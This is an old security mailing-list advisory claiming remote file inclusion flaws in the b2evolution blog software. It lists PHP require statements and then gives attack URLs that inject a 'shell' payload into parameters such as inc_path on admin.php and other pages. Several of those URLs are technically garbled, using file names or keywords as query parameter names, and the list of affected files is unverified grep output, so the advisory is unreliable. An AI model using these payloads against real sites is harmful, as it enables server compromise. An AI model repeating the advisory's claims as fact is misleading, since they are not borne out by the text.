Remote File Inclusion Apr 25 2007 03:37PM
s433d_only_linux yahoo de
####################################################
# b2evolution Remote File Inclusion #
####################################################
Affected Software .: b2evolution #
Download..: http://b2evolution.net/ #
Risk ..............: high #
Date .........: 25/4/2007 #
Found by ..........: s433d_only_linux #
Contact ...........: s433d_only_linux (at) yahoo (dot) de [email concealed] #
Web .............: Www.hackerz.ir #
special thanx ........... Ali Jasbi my beste friend#
####################################################

####################################################
Affected File:
b2evolution\blogs/a_noskin.php require $inc_path.'_blog_main.inc.php';
b2evolution\blogs/a_stub.php require $inc_path.'_blog_main.inc.php';
b2evolution\blogs/admin.php require_once $inc_path.'_main.inc.php';
b2evolution\blogs/admin.php require $view_path.'errors/_access_denied.inc.php';
b2evolution\blogs/admin.php require_once $inc_path.'_async.inc.php';
b2evolution\blogs/admin.php require $control_path.$ctrl_mappings[$ctrl];
b2evolution\blogs/contact.php require_once $inc_path.'_main.inc.php';
b2evolution\blogs/contact.php require $skins_path.'_msgform.php';
b2evolution\blogs/default.php require_once $inc_path.'_main.inc.php';
b2evolution\blogs/index.php require_once $inc_path.'_main.inc.php';
b2evolution\blogs/index.php require $inc_path.'_blog_main.inc.php';
b2evolution\blogs/multiblogs.php require_once $inc_path.'_blog_main.inc.php';
b2evolution\blogs/multiblogs.php require $skins_path.'_bloglist.php';
b2evolution\blogs/multiblogs.php require $skins_path.'_feedback.php';
######################################################
b2evolution\blogs/a_noskin.php?require=shell?
b2evolution\blogs/a_stub.php?_blog_main.inc.php=shell?
b2evolution\blogs/admin.php?inc_path=
b2evolution\blogs/admin.php?errors/_access_denied.inc.php=shell?
b2evolution\blogs/admin.php?inc_path=shell

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus